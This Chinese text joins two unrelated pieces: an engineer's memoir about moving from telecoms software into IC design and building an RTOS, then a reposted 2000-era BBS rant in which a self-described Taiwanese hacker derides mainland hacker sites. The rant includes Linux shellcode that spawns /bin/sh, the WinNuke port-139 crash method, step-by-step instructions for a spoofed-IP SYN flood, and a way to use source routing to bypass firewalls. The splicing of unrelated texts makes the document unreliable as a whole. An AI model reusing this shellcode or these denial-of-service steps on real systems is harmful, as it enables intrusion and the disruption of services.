我做事情喜欢追根问底，随着开发的深入，软件开发与硬件联系越来越紧密，硬件知识的匮乏又对我的发展产生了障碍，而且芯片技术基本上掌握在国外公司的手里，这对做系统级设计是一个非常大的制约，一个新产品出来，第一道利润（也往往是最丰厚的利润）常常都被IC公司如Intel、Motorola赚去了，国内的厂商只能喝点汤。所以我决心解决自己的硬件技术障碍，并打算离开通信行业，进入IC设计相关领域。
当然我明白如果我对硬件了解的非常少，没有哪家IC公司会仁慈到招我这样一个一窍不通的人来培训。所以我必须努力打好基础，学一些相关知识为以后做准备。就像我开始从MIS转到通信一样，我看过大量通信方面的书，并且给一个ISP做过RADIUS计费分拣台，在这样的背景下这家通信公司才给了我这个机会。我在的通信公司是做系统设计的，有不少PCBLayout硬件人员，平常我就注意向他们学习，由于我做的是软件，在公司看硬件资料不好意思，所以开始只好在家看，刚来上海工作我连续一年都在加班，后来不加了，因为我要挤出时间学习，通常我12点左右睡，第二天5点半起，我上班比较早，地铁上如果人不多我也用来看书。学习当然不会是一帆风顺的，有些实在不懂的问题就积累起来问硬件人员，他们的帮助使我学习进度快了很多，因为在没有人点拨的情况下自学，我的一半时间是花在解决疑难问题上，但这种问题经常是别人的一句话就可以让我豁然开朗，我非常庆幸我有这样的学习环境。在后面的一年里，我学会了看硬件原理图，学会了简单的硬件设计（模拟电路方面还有不小的差距），事情就是这样的，当你安安份份做软件，别人永远认为你是软件开发人员，在你开始学习硬件时别人未必会认同，有位中兴通讯的朋友还对我说过，一个人不可能把所有东西都学完。我也明白这一点，但我希望自己做的更好。但当你熟悉硬件后大家又会觉得你好像原本就是软硬件都懂的，同事们也都习以为常了。这个时候我可以把硬件资料堂堂正正的拿到公司看，没有人再大惊小怪了。让我比较自豪的是我通过自己的努力做了一个IAD（软交换的终端设备）系统方案，包含软硬件的选型、设计等内容，这个方案得到了公司和同事们的认同，让我感到非常欣慰。
技术是相辅相成的，当我的硬件有了一定的进步后，我的软件设计也有了很大的提高，我可以从更深层次理解问题，我做的接入服务器CPU是MotorolaPowerPC860，熟悉的朋友都知道860QMC与软件的批量数据传输通常采用BD表的方式，硬件人员做驱动的时候习惯采用固定BD表，每接收或发送数据都将数据从BD表拷贝到用户Buffer，或从用户Buffer拷
贝到BD表，由于理解的比较深入，我自己重新实现了这个过程，采用动态BD表的方式，驱动从一个网口接收数据，提交给我的软件进行三层交换，直至从另外的接口发送出去，没有进行一次拷贝。这样的设计大大提高了性能，使系统的指标接近理论值。软硬件的结合使我的设计水平上了一个台阶。我现在写的这个操作系统，编译后我把程序反编译成汇编，找出其中不优化的代码，然后在C程序中进行调整。举个例子，很多CPU没有专门的乘法指令，这个大家应该都知道，在这种CPU上进行一个乘法操作常常会花费大量的指令周期，有的朋友会说这个我知道，我会尽量避免采用×号，但是事情往往不是那么简单，你知道C语言中数组的下标操作是怎么实现的吗？仔细看看反汇编的代码你就会明白，同样是通过下标的定位操作，C编译器会有时候会产生位移指令，但有时候会用乘法实现，两者效率往往是天壤之别，所以明白这些问题你才能将系统性能提升到极致。这些问题就不多说了，有兴趣的话以后可以共同探讨。
话说远一点，我由衷的希望在软件上做的比较深入的朋友们有机会学学硬件以及其它相关知识，尤其是做底层开发和嵌入式设计的。这对软件技术的提高有非常大的帮助，否则很多事情你只知道该这样但不会明白为什么该这样。我这个观点在我现在的IC公司ProjectManager那里也得到了验证。他告诉我们公司现在的802.11芯片产品的软件经理原本是做该芯片硬件设计的，某某某原本是做软件的，现在在做IC，类似的例子还有很多，只是在国内这样的风气不是非常流行。
我有一些心得体会与大家分享，只有当我干好本职工作后，我才会学习与工作关系不大的技术，这样公司的上司才不至于反感，在入门阶段的问题我通常不去问那些资深人士，而是问一些资历比较浅的朋友，比如刚毕业不久的学生，因为他们往往会跟你详细的讲解，而资深人士通常觉得你的问题太简单，所以回答的也很简单，我又不好意思多问。等技术上了一定的层次后我才会问他们，他们也能给你比较深入的回答。另外，有些朋友说我机会比较好，他们也希望能从事新的工作可惜没有机会，我听了只有苦笑，我的机会了解的人都应该知道，我没有出生在什么IT世家：）也没有谁一路提拔我，所有的路都是自己走出来的，我母亲去世比较早，我的后母（我叫她阿姨）看着我努力过来的，一次她看我大年30还在写程序，她说像我这样努力木头都能学出来。
我的最终目的是IC而不是PCB，所以我下一步的准备开始学习IC设计的知识。公司的同事没有懂IC设计的，后面的路又要靠自己了，我买了不少相关的书，在网上也查了很多的资料，我花了大量的时间去学习VHDL，并且用软件进行了一些简单的设计和仿真（没有设计ASIC，只是针对FPGA），随着学习的深入，我渐渐明白了IC设计的基本流程，同时也明白了这条路的艰辛。这个时候我已经做好了跳槽的准备，我向一家业界又一定知名度的IC设计公司投了简历，并通过了漫长的面试（4个多小时）。其他的一切我都比较满意，唯独薪资差强人意，我也明白原因，因为我是这个行业的新人，我没有经验，我再一次将自己清零了。公司老板问我6000多一个月能不能接受，我知道他也是照章办事。想想我通信行业的朋友们，基本上都是年薪10万以上，月薪过万的也比比皆是，朋友们也帮我介绍了不少待遇不错的公司，我该怎么选择，当时我很犹豫，我热爱我的事业，我向往我的追求，但我也是一个普通的人，我也需要养家糊口，我也想早一点买房买车。生活给我出了一道难题。
爱因斯坦在63岁时说过"一个人没有在30岁以前达成科学上的最大成就，那他永远都不会有。"这句话给了我很大的压力和震动，我马上就26岁了，离30只有四年时间，我必须抓紧这几年宝贵的时间，努力达到我技术上的最高峰。为了这个理想，为了能离自己的梦更近一些，我选择了这家IC公司，我明白自己的薪资和公司刚进来的硕士研究生相差无几，但为了今后的发展只能忍受，一切又得重新开始。换行业是一个非常痛苦的过程，尤其从一个春风得意的位置换到一个陌生的岗位，感觉象从温暖的被子里钻出来跳进冰水中，让人难以接受。在原来那家通信公司，我是唯一两年时间涨了五次工资的员工，公司和同事都给了我极大的认可，工作上也常常被委以重任。但现在这一切都成了过去，在新的公司我只是一个新人,没有人知道也没有人在意我过去的成绩。我决定重新开始，我把自己看作新毕业的学生，我要用自己的努力得到公司的认可。进入新的行业是非常痛苦的，我告诉自己必须忍受这一切，虽然外面有很多诱惑，但是既然作出了选择我就不允许自己轻易放弃。
我现在已经在这家新公司上了一个多月的班，开始非常艰难，现在慢慢适应了。第一个月结束时，TeamLeader找我谈话，说我是新进员工中最优秀的一个，我心里很欣慰，这也算对我努力的一个肯定吧。在这里还要感谢我的女朋友，她给了我很大的支持和鼓舞，每次在我动摇的时候她都在鼓励我，让我坚持自己的理想，刚来上海是她让我不要勉强去做MIS，这次也是她让我顶住了月薪过万的诱惑，没有她我可能不会有今天的成绩。
现在的公司有自己的操作系统，自己的CPU、DSP和其它芯片，在这里我能学到世界上最先进的技术，我们的设计开发不再完全依赖别人的硬件和系统，这让我很开心。我打算等工作步入正轨后，全力学习新的知识，实现我的理想。
在后面的两年里我给自己定下了几个目标：
一.努力做好本职工作，在工作上得到公司和同事们的认同；
二.努力学习IC硬件设计知识，多向同事请教，并利用一切机会多实践；
三.实现我的实时操作系统的主要部分，完成TCP/IP协议栈模块，并免费发布源代码；
四.和我女朋友结婚并买一套小房子，这是最重要的，因为我明白事业是可以重来的，但是珍贵的感情很难失而复得。

在这里提一下我现在开发的操作系统，它是一个实时嵌入式系统，目前支持以下特性：
a.支持时间片轮转调度和基于优先级调度，最多64个优先级；
b.抢占式实时内核；
c.为了便于移植，主体用标准C实现；
d.汇编代码非常少，不到100行；
e.支持任务管理，各任务有独立的堆栈；
f.进程同步和通信目前完成了Semaphore，MessageQueue正在调试；
g.实现了定时系统调用；
h.可以在windows上仿真调试
我还打算下一步实现优先级反转保护，EventFlag，DataPipe，内存管理（以前实现过）、驱动接口等。在这之后我还会努力完善它，比如加入文件系统，协议栈、调试接口等。希望朋友们提出自己的意见和建议，在此不胜感激！
后记：
就像有的朋友说的，我的经历或许会给一些朋友产生误导，在这里我必须说明一下。我来上海以前学习过于拼命，常常晚上只睡3个多小时，我身高1米71，那时只有108斤（我现在130多），家人也说我这样拼命活不过60岁，但是当时的我太固执，我对他们说只要能实现理想活50岁我就够了。那时的拼命使我的身体受到了影响，有一次早上突然腰肌剧痛难忍，痛的我倒在床上站不起来。虽然我现在已经比较注意，但有时候还会隐隐作痛。后来在女朋友说服了我，来上海以后我不再如此。我经常引用父亲的一句话"身体是革命的本钱"。
而且我也发现拼命不是办法，我可以熬一两个通宵，最多的一次我连续工作了三天三夜，但是我半个月都没有恢复过来，这样是不是得不偿失？学习工作应该是一个长期的过程，像马拉松而不是百米冲刺。我现在非常注意调整学习和工作的强度，我要保证每天尽量有相对充沛的精力，一些年轻的朋友觉得自己也应该拼命努力，这让我多少有些担心，如果我的故事能让你在学习工作上多一点兴趣，我会感到很开心，但如果误导了某些朋友，让你做一些不值得的付出，我会感到很内疚。
技术没有贵贱只分，我以前换行业是因为自己的兴趣所致，而不是对哪个行业有什么偏见。我希望我的经历不要给朋友一个错误的导向，觉得我始终向更高的技术发展。其实各行各业做到顶尖都是很困难的。话又说回来虽然技术没有贵贱，但是门槛是有高低的，无论如何，做IC的门槛要比做网页的高，这一点无可否认。国家各种人才都是需要的，但是作为个人奋发向上的想法还是应该有的，努力在自己喜欢的行业上做的更好，而不应该停留在比较肤浅的层次上。
我是一个自己觉得比较有自知之明的人，或许我最大的优点就是知道自己有很多缺点：）。我的故事中很多的曲折和错误都是由我的缺点造成的，希望大家用审慎的眼光看待我的经历，不要被我的"花言巧语"所迷惑。我学习有些随心所欲，这给我带来了无尽的麻烦，也大大阻碍的我的发展。记得我小时候成绩比较出色，但是后来学习严重偏科，导致我中学成绩一再滑坡，也没有考上什么好的学校，小时候的一个朋友，当时的成绩和我相仿，但是没有我这个缺点，她上了清华，后来在去了美国深造，在一个著名导师手下研究理论科学，这未尝不是一条更好的出路。另外我的学习方法也是在不断改善中的，过去的学习过于讲究数量和时间，那样学习既苦而已效率不高，现在我非常注意学习的效率和技巧，这样才是学习的捷径（当然不是指投机取巧），比如说学一相对陌生的技术，如果有条件，不妨问一问有经验的人，不需要问很多，往往他不经意的几句话会给你非常大的帮助，甚至超过你看一个星期的书。带着这样的思想再去学习你会节省很多时间，这样何乐不为呢？这些年中我学了不少的东西，由于开始非常盲目，所以学的东西杂乱无章，现在回想起来让我啼笑皆非，我把大量的时间浪费在一些没有必要深入了解的知识上，毕竟一个人的精力是有限度的。很多朋友很我一样都背过五笔字形，的确它是个不错的输入法，但是对一个研发人员它绝对不值得你去背，你的时间应该花在有价值的地方。我这样的事情还做过很多，我背过CCED、WPS的命令和快捷键，在dBase基本退出历史舞台后我还花了很多时间去学习它的使用。所以我的学习在前期缺乏规划，没有明确的短期目的、中期目标，只有一个虚无飘渺的长期的理想。这就像做设计一样，好的设计是从需求抽象到代码有很多过程，而不能得到了需求就立刻开始开始编码。
当然这么些年的学习和工作多多少少有些收获，下面我说说我的一些学习的心得，这些方法未必正确，我也在不断探索和改进中。我的学习和工作有相对明确的目标，我不会一时心动而去学习某一技术，在下决定之前我会考虑很多，包括长期的发展，个人路线的规划，需要付出的代价、可能遇到的困难及解决的办法等等，在决定后还会制定更加明确的计划，包括短期、中期和长期的，身边可以利用到的资源（包括好的书籍、资料、软硬件环境，也包括有经验的朋友或者师长），以及每一个阶段是怎么过渡到高一阶段的计划，往往在一个学习阶段一旦上路后会走的相对顺利，但是跨阶段通常比较麻烦，比如从学习基础知识转到实践。另外我买书也有自己的方法，现在世面上高质量的书远不如低质量书多，对于一个陌生的技术，往往在第一次买书会选择错误，即使买到一本好书但是它的方向也未必适合你，所以我通常会先在网上查找一些该技术的介绍，有了一点点概念后再去买一本比较薄、相对便宜并且内容相对泛泛而谈的书，这是国内作者最善于写的书：），再把它浏览一遍后我就会基本明白这门技术的要点，后面买书和制定计划就会明确的多。否则一开始就想找本好书往往比较困难，而且买回来后努力学习，有时候学了一半才发现是本低质量的书或者是相对过时技术，让人非常懊恼。另外让有经验?人帮你介绍，通常也是一个不错的选择。有些朋友想学通信、嵌入式开发，但总觉得自己没有软硬件环境，我就按我的了解给

大家介绍一下怎么建立这样的环境，当然我了解的只是我学习和工作的方向。通信我做的是数据网方面的工作，包括TCP/IP、二三层交换、对接入网、H.323和软交换也有一点认识。这些软硬件环境都是可以在PC上构建的。你甚至可以在一个没有网卡的PC上建立一个包含多个路由器、接入服务器、VoIP网关、网守、主机等的仿真网络环境，而且与实际的网络相当接近，当然这需要你有清晰的网络概念和一定的网络知识，我一直在努力开发一套软件将这个过程简化，目前试验已经做完，我可能会将它融入我的操作系统外围扩展软件中。这样的方法我无法用简单的语句讲的很清楚，我可以说一下大概的思想，就是在PC上实现仿真网卡，（知道Windows怎么在没有网卡的机器实现虚拟网卡技术的朋友都应该会明白），然后每一个仿真网卡对应一个虚拟设备，如路由器或者主机。你也可以借助第三方工具完成部分工作，如VmWare等。我现在就是利用一个仿真网卡做自己的开发的。至于嵌入式开发环境更加容易实现，PC就是一个非常大的硬件平台，现有的嵌入式操作系统通常都支持X86，你可以在上面做开发，通过软盘Boot或者使用虚拟机装载，我用VxWorks做了试验，在一台PC上跑Windows和VxWorks两个系统。另外Windows上的兼容DOS的16位仿真X86环境也为很多操作系统提供了绝佳的试验环境，我的操作系统在Windows上就是这样实现的。Linux在嵌入式中应用也比较广泛，它在网上有大量的资料，而且也相对比较容易实践。同时很多完善的嵌入式开发环境支持软件仿真，如Tornado、WinCE等。


一位台湾黑客看大陆黑客
信息来源：gb2312.com
说明：这篇文章中含有许多攻击他人的言语，在此我向他们表示歉意，有些论调和观点我本人也是不赞同的。尤其是对我的朋友孤独剑客，希望他们能够明白。推荐给大家的目的是想端正我和大家的学习目的。希望我们大家能够一起提高，不仅是技术！
以下是某论坛上BBS的帖子
《这些无聊的人！！！》
从来不到WEB BBS，只不过听说绿色兵团好象是国内的安全名站，来看看了，竟然都是一些垃圾！从未见过真正的HACKER在WEB BBS里高谈阔论，你们有什么意思，冒冲BIGMAN骗骗那些从未见过真正世面的新手
罢了，现在看来，我对中国网站还是不了解，每个“HACKER“WEB SITE都是一样的教程，COOLFIRE的教程还放在自己的网页上，呵呵，也不嫌丢人。还有现在大量的HACK工具，有用的有几个，真正能让新手马上攻击一个站点的工具有吗？那些垃圾只不过是对PC的攻击效率比较高罢了，WHY？PC谁会把自己的机器搞的跟服务器一样？放个防火墙？比你的机器不知道贵多少倍了，什么IPHACKER，CHINABOY，流光。。。。。。。一群垃圾，有什么用？IPHACKER，不知道对方的IP，什么也不管用，只能看自己的IP，还不如WINIPCFG OR IPCONFIG来得快，CHINABOY说的好听成功率90%以上，我看10%以下才是真的，现在网上报的那些已被攻击的日本IP，殊不知，早已经开好了SERVER了，等着那些用傻瓜工具的人来HACK呢，真不知道你们是怎么想的？？？做一名在WEBBBS上的”HACKER“很过瘾？是不是能多收点EMAIL？无聊的很呀！
  以下是本人的意见（无关人员最好别看）
  对孤独剑客和小蓉的个人意见：
  为什么只对你们两个说，因为我看到到处都有你们的大名呀，下载了几个，分析了一下，呵呵，不好意思，真是太烂了，仿造一些已经有的工具，然后用什么给它汉化的？可以问一下吗？IPHACKER，让孤独剑客你自己说，有什么用？一个微软操作系统的漏洞，你竟然把它搞的这么夸张，真的那么有效吗？大不了修改注册表就好了，ONLYONE MESSAGE！在NT下，只要装SP4的就可以有效的防住了，你去找找现在哪个WEB SERVER还在用WINNT+SP4。X以下的？？？还有CHINABOY，简直是骗人的东西，垃圾而已，有你那样设计程式流程的吗？是不是计算机外行呀？
CHINABOY这个东西不瞒你说，是我见过的最赖的程式，有空进修一下编程吧，CHINBOY也就对一些P166的机器管用！你还在大肆宣扬这个东西，知不知道，用你的程式，对传输速度要求很高，国内能达到你要求的，大部分都是公司或一些机构的上网地方，你难道不知道如果对方可以通过你的程式对进攻者了解的一清二楚吗？你这岂不是害大家吗？有你这样搞的吗？赶快把你的程式改一下吧，别没让大家把你当成大侠，到成了汉奸了！（如果你是中国人，不要生气）
    小蓉的软件呵呵，不说大概你心里也明白，超级COPY，不过也难得，把它给搞上网了，对你的程式，你最好看看源码，如果你确认参数传递无误，呵呵，恭喜你，别人用你的东西，肯定会出现问题，而且不止这一个，难怪有人骂你，下次记得先出个A。。。OR B。。。。等等的实验版本，要不对抱歉,其实我只是对这些只能在web上"大显身手"的所谓的"hacker高手"感到十分厌烦,他们充其量只是从国外的HACK WEBSIT上看了那么一点点"新"技术&"新"漏洞,然后把这些东西又放在了自己做的WEBPAGE上,他们也许只是把那些在国外的东西,"洋为中用"的汉化一下罢了!
在我而言,我看了几次大家写的BBS上的贴子,对那些渴望成为HACKER的新入门的人来说,我是很敬佩的,因为他们至少还有梦想,而那些"HACKER 高手"却只能在别人那里COPY EVERYTHING,不过他们的网站也确实对那些新人来说是一种诱惑,夸张的告诉大家HACKER是多么的伟大多么的神秘,殊不知,那些整日在电脑面前
敲着键盘,旁边食品垃圾和资料堆放的人,有多少人整日在WEBBBS上回答各种各样的"奇怪"(只能说是奇怪了,因为有的根本就不能回答)的问题?还要争取进去TOP10.
对新手来说最重要的是把最基本的原始文档看明白,要把这些东西都变成自己的!教程就那么神奇?给你写一篇教程,你就马上能进攻靖国神社?不要在迷恋教程了,真正的教程决不会简单的只有数十页,它会从最最原始的文献给你讲起,对新手来说,如果你智商平常,可能要花4年的时间来学习教程,你有这个时间吗?即使你用4年时间学会了这些东西,但那时你会知道这4年来又出了什么新东西吗?还是赶不上!这难道是为什么少年HACKER增多的原因??呵呵(本BBS只能回复16KB的东西)只好换页了!
HACKER这个名词也许对大家来讲真的很有诱惑,但真正做到能以HACKER自居的能有几人?不说他要学的东西包罗万象,就是为他耗费的时间也足已让你望而却步,你能在不用特殊工具的情况下连续猜解一个PASSWORD长达16个小时吗?你能够熟练的运用你所知的编程语言,看到猎物原码中的BUG吗?你能对一个从不知的程序身上,通过编者所写的原码中,认出这是谁的大作吗?你能一星期内连续攻击某个站点,而且能保持旺盛的战斗力吗?你能在黑暗和混杂着烟草味的小屋里,为实现自己心中的理想而对其他不管不问吗?我想能做到上述所说的,可能没有几人,这并不是作HACKER的必须原则,但是我想每一个对这项"工作"(没有好的词语来形容)狂热的人来说,遇到上述情况,可谓是家常便饭!还有一点最重要,那就是你能做到攻击成功后,你能压抑住自己内心万马奔腾般的喜悦转手去做其它的事情,并且还会对自己提出更高的要求,这就是我为什么讨厌在WEBBBS上高谈阔论的所谓"HACKER高手"的原因之一,他们总是做出一定点成绩就会让世界上每一个能知道的人都知道了,就象孤独剑客&小蓉的程式一样,如果他们能把那些程式多保留几个月,做一下自
我测试,或是让别人代为测试的话,就不会出现那么多BUG了,很显然这是新手的做法.看看那些著名的HAKCER工具有那个发表以后,会吧它的后续版本作为BUGPATH来发布?呵呵,真让人感到为这些程式惋惜!新手完全可以从抛弃WEBPAGE上所讲的那些漏洞,教程,攻击手段......,既然大家都写出来了,WEBMASTER也能发现,那你知道的那些漏洞确实是没用了,教程写的再简单不过了,但其中的术语你还是没弄明白,有很多其他的地方可以进行交流的,在某些服务器上,你可以登陆上去,去看看大家正在处理的问题,试着和其他人交流一下,或许你会被哪个资深的HACKER看中,选为关门弟子呢.呵呵,这个想法太好玩了!经常去一些你知道的SITE,或许他们会让你缴纳会费,不要在乎那些小钱,实现你心中梦寐以求的理想比什么都值钱.但是最重要的是你要把自己的基本功打好,不能总靠着那些HACKER工具来进行攻击,或许你拿到了一个很强大的HACK工具,找到了ROOT OR ADMINISTORTRA的密码档,但是你如果对这个系统部了解,你能做什么???你什么也不能做!可悲!多学东西是你未来战斗的资本,而练习确是你成功的法宝,多动手,对一些自己不明了得东西多动手,你会为此得到相应的报酬!动手是每个新手成功的捷径,只有这样你才不至于进入服务器时,由于自己花了长时间在服务器上试验,而惨遭...在我看来(仅仅是个人意见,不值得考虑),很多新手都被大陆的一些HACK WEBPAGE给欺骗了,一个小小的操作系统的错误能够专门为之写出个程式,并且竟然有好多版本!一篇小小的教程几乎出现在了每一个WEBPAGE的HACK教程里面.其实那些东西对你只能是进攻参考的东西,没有实用价值的.曾经和一些大陆以外的华人交流,他们对大陆新兴起的这股HACK暴风给与了很高的赞赏,他们有时会为了自己成员的缺少而感到遗憾,但是他们对大陆那些教授HACK知识的方法却感到惊讶和鄙视,他们中有人说,世界上最强大的HACKER军团或许救在中国大陆,因为他们可以发动起成千成万的人,对一个站点进行最简单技术手段但却规模巨大的攻击,只到他们自己没兴趣或已经攻击成功!这充分体现了中国大陆还是没有把计划生育搞好!当时我听了以后很气忿,但是我没有什么话可讲,对方是MY的地下HACKER组织的杰出领袖,而我在CN都不出名,没有资格的.但是我强烈的感到自己尊严的丧失!没办法,一个人的力量是有限的!在大陆以外的地区有很多很好的SITE提供很好的HACKER服务,你可以在那里得到自己想知道的东西,但是不要问他们象"WINNUKE2.0怎么用"类似的问题,问了也没人答理你,你的E问好的话可以去一些E文的HACKER GROUP的聚集地,在那里你只要不发表言论,不会有人赶你走的,除非他们要进行什么活动.在台湾地区,我所知的几个人他们对程式的研究很着迷,他们可以把新发布的WIN2000原码中的漏洞花上几个星期的时间找出来,并且从中提取劳动报酬,你能把一个WIN95反编译回去,并且找出为什么NUKE程序能够这么轻松的攻击吗?说实在的,做一个HACKER真的很难,你要学的
知识要比你想要攻击的地方的WEBMASTER多的多,你要成功的发现他没有发现的东西,从而达到自己的目标!!!不写了,太累!这只是我近几天来看大陆一些HACK 名站的得到的一些...
很希望每个新手能够在不断的努力当中成就一番光辉!
回答独狼的问题: 这么说你是高手了，那你为什么不帮帮我们这些低手呢？技术保密？为了维持你那神秘的面纱？
首先我不否认我是高手,那是相对而言的,如果我的数学水平已经让我可以计算方程式的话,我对于一个还不认识阿拉伯数字的孩童来说,我就是上帝!
其次我可以帮你,但是只能帮你们走入那对你们来说神秘的空间,一切只能靠自己的努力来完成.
HACKER向来就是FREE的通译,真正的HACKER不会把自己所知道的深埋地底!
从来就没有什么神秘面纱,你也很神秘呀,我不知道你的姓名,婚否,年龄,工资收入情况,还有家庭地址,住宅电话......对我和其他人来言,你很神秘!!!
对进来利用大家对日气忿不平心理进行个人宣扬和xxxx的人鄙视!!!
会在本BBS呆三天,今天是第2天

                          MASTERLE
                          2000.2.8
对感兴趣和有想向这方面发展的同志的忠告：
    真正的大家所谓的HACKER不会在某个WEB BBS上跟人家写好多好多东西，也不会在BBS上争第一名，如果你想作一个真的电脑强者，那么现在去找点东西看吧，UNXI WIN 这些东西最好能搞明白！另外最好把所有从机器里出来的东西都看懂！这样你最少能知道你攻击的时候出现什么异常情况！
  如果你只想在聊天室或IRC里把别人踢下去，并且还想让你的对手佩服你！
那你就去下载大量的HACKER工具，自己慢慢玩吧，很傻瓜的！
               一个看不过去的中国人！
我想说》
当我们谈到网络安全的时候,就经常可以跟一个词联系到一起,那就是黑客。其实，印象中的黑客是带有偏颇的感情色彩的，比较明确的说法是叫入侵者。黑客跟入侵者有什么区别呢？黑客，指对于任何计算机操作系统的奥秘都有强烈兴趣的人．”黑客”大都是程序员，他们具有操作系统和编程语言方面的高级知
识，知道系统中的漏洞及其原因所在：他们不断追求更深的知识，并公开他们的发现，与其他人分享；并且没有破坏数据的企图．
入侵者，是指怀着不良企图，闯入甚至破坏远程机器系统完整性的人．”入侵者”利用获得的非法访问权，破坏重要数据，拒绝合法服务器的请求，或为了自己的目的制造麻烦．”入侵者”很容易识别，因为他们的行为是恶意的．
虽然这才是黑客和入侵者的确切含义，但是在我们的日常生活中，人们在讨论到”黑客”这个字眼的时候，还是带有强烈的贬义色彩，或者说我们大家都把黑客跟入侵者联系到了一起，其实黑客中既包括善意的真正的黑客，也包括恶意的入侵者，对于这些区别，大家只要心里有数就OK拉
大家如果还不是太明白黑客和入侵者之间到底有什么本质性的区别,可以在黄金书屋下载一本<<黑客电脑时代的牛仔>>看看,虽然技术性不是很强,但是却大致描述了黑客产生和发展的过程,书中的一些观点和理论虽不能让人信服但是却能让人产生遐想,或许你看了之后会明白.
至于成立黑客组织,呵呵,我想如果你能大张旗鼓的明打出旗号,只要自己控制的好,国家肯定不会对你怎么样,要知道初期的黑客是推动计算机向前发展的一个动力.
在我的思想中,所有东西一出来肯定有缺陷,黑客会把这个新生的事物仔细研究,然后会通过与之接触找到它不完美的地方,黑客就像是个理想的完美主义者,他会很讨厌有缺陷的东西,并且能够凭着天性找到某些东西的不完美之处,并且把这个不完美之处填补,或许你不明白为什么那么多人相当黑客,是他们心中美好的愿望和理想驱使他们可以废寝忘食可以不知疲倦可以忘乎所以可以不顾一切的追求心中的完美境界,在本BBS的各位同仁,谁有这种想法?如果你有,那么你就要为之奋斗,要做到刚出监狱就会投身到自己喜爱的工作中去(j)!!!
至于有位同仁所言,前些天刚枪毙两个黑客,我想他大概是糊涂了并不是只要能侵入系统的人都是黑客,如果那样,黑客们早天下成群了,我希望黑客天下成群的那一天,但不希望是现在.
关于这个bbs我没有说办得不好,也不会说办得不好,我只是对大家在这里埋头苦等感到惋惜,每天等着一些所谓的黑客高手宣布他们的研究新成果(或许是刚翻译过来的文章),然后自己迫不及待的试一把,也许那些高手们已经把这个东西试验了几百遍了,你难道只能在这里学到东西吗?学校里的所有课程你都学会了吗?你在上大学时也许学过C BASIC .....但是我现在对你说,我想要一个能让系统瘫痪的小程序,而且不要超过500K的话,你能做到吗?你能熟练的做到吗?黑客其实是一种荣誉的象征,他在现实生活中也许是个弱者,甚至是个残疾,也许是个女人,小孩,但是只要他的双手接触到键盘,他坐在电脑面前,那时整个世界就属于他了,他是电脑领域的强者.向往吗?
网络上的学习固然是好,不错,我也喜欢上网,但是你要知道,你可以从网上知道的东西,究竟有多少价值,一本<>竟然有10M,还不如花钱买一本呢,再说网络上有多少能够把你带到更深层领域的教程?有多少能够手把手把你从无知培养成出类拔萃的教程?不是说网络学习不好,只不过大家都有误区罢了,以为在网上看到一些漏洞,赶紧试验一下,成功了确实很爽,但是你能知道你为什么成功吗?你的基础是否有足够的资本看懂网络上别人贴出来贴子中提到的术语?
也许我的观点不会得到大家的认可,但是我还是想说出来,基础不是能从网上学来的是靠自己努力的来的,网上交流的是经验,不是教程,但是这个BBS确实没有太多的值得我们借鉴的经验,我的到来确实给这个清静的地方带来了波动,我想这里还算可以,贴子帖的那么多,人气也旺,很好,大家可以互相交往,不必隐姓埋名,我只是这几天过年,为了凑个热闹,想来放松一下,本来没有节假日的(谁听说过黑客有节假日?),我只是想来这里转转,看看那些贴子,找找当年的冲动和激情,一边能够更好的投入"工作",继而看到某些"不法分子"竟然利用大家心中美好愿望做一些不太好的事情,这其实是一种对......
我激动的留了几条发言,呵呵,谁知收不住手了,我应该只待一天的,没想到惹得大家这么生气,但是我一向说话算话,3天我也快熬过去了,很抱歉,我带给大家的不愉快,本想找几个高手切磋一些,或是带几个新手,呵呵,但是我发现这里还是不安全,不是一个"公共场所".劝大家学习大部分应该靠自己的努力太累了,这三天打的汉字比我半年打的都多!另外鹰鹰既然知道我是河南的,来找哦,能找到才算是好本事,信箱你一定也能看到了,找我信箱里的东西,然后会发现一些好东西的!!!
                        最近比较烦,甭理我!
                           2000.02.09
孤独剑客请看:
一个攻击windows的方法是用OOB方式通过TCP/IP Port 139向对端的Windows/NT传送0字节的数据包,很容易就能把windows/NT当机.如Windock程序,WinNuck程序(该程序只有9行),准确率几乎是100%
解决的方法是:
运行regedit:
find [HKEY_LOCAL_MACHINE\Systerm\CurrentControlSet\Services\VxD\MSTCP];
加上一行"BSDUrgent"="0"
WIN98也一样可以用"炸弹"攻击,Winnuke的升级版本Pnuke,就可以轻松的攻击win98,解决方法同理.
这就是孤独剑客的iphacker的攻击原理和防范方法,只是一般用户接触这些比较少罢了,其实很简单,只要你学包会!
下面是给小蓉看的一段代码:
xiaoronglook.c
----------------------------------------------------------------------
void main(){
_asm_("
       jmp　 0x1f
       popl　%esi
       movl　%esi,0x8(%esi)
       xorl　%eax,%eax
       movb　$0xb,%al
       movl　%esi,%ebx
       leal　0x8(%esi),%ecx
       int　 $0x80
       xorl　%ebx,%ebx
       movl　%ebx,%eax
       inc　 %eax
       int　 $0x80
       call　-0x24
       .string\"/bin?sh\"
       ");
       }

小蓉可以看看,如果看懂了,相信会让你的程序更加优秀至于这段程序是干什么用的,相信如果你能看懂,就会知道它的用处了,如果没有结论,那我就没办法,多研究一下你的程序和别人的差距吧!
至于大家都比较关心的伪装ip的方法,我到是有个方法,大家看看了IP Spoofing是一个攻击器(不要告诉我你没听说过)它是通过向主机发送IP包来攻击的,攻击过程是这样的:
(1)攻击端-->SYN(伪造的自己的地址)-->被攻击端
(2)伪造的地址<--SYN-ACK<--被攻击端
(3)被攻击端等待回答.
一个简单的SYN attack攻击方法就是利用NetXRay软件首先产生一个正常的SYN attack,再把那个SYN attack修改一下,找出关于souce IP的那个offset,修改成任意的IP,然后找出关于校验和的地址,把校验和改好,然后把包拷贝起来,用NetXRay的发送包工具,一秒钟给他送几千个SYN attack到对方,可以让对方机器瘫痪没有再接送别人连接请求的能力.我想这种方法虽然比较麻烦但是绝对比"中国男孩"攻击有效的多,如果CHINABOY的攻击成功率能达到90%以上的话,我想这种方法能达到120%(呵呵,是夸张了一点)
在一个IP包的IP选项域中,有两类的"原搜索"(source routing)功能项可以选择:
(1)LSRR (loose soutce & record routing)自由源和记录路径
(2)SSRR (strict soutce & record routing)精确源和记录路径
设计这个功能是为了方便网络故障调测的需要.当一台主机收到包含ISRR或者SSRR包后,他会把这个包中含有的目的地址读出来,并直接把这个包送往目的地址.这样就可能产生危险.
比如你用防火墙系统来保护你自己的企业内部不受干扰.正常的时候,所有的数据包的进出都在防火墙的控制之下,如
果你的防火墙要是允许调测包,那么外部网的攻击者就可以简单的发送调测包从外部网络送到内部网,从而逃避了防
火墙的监控.这里本来想介绍一下伪装自己的IP呢,但是想一想还是别懒写写东西吧
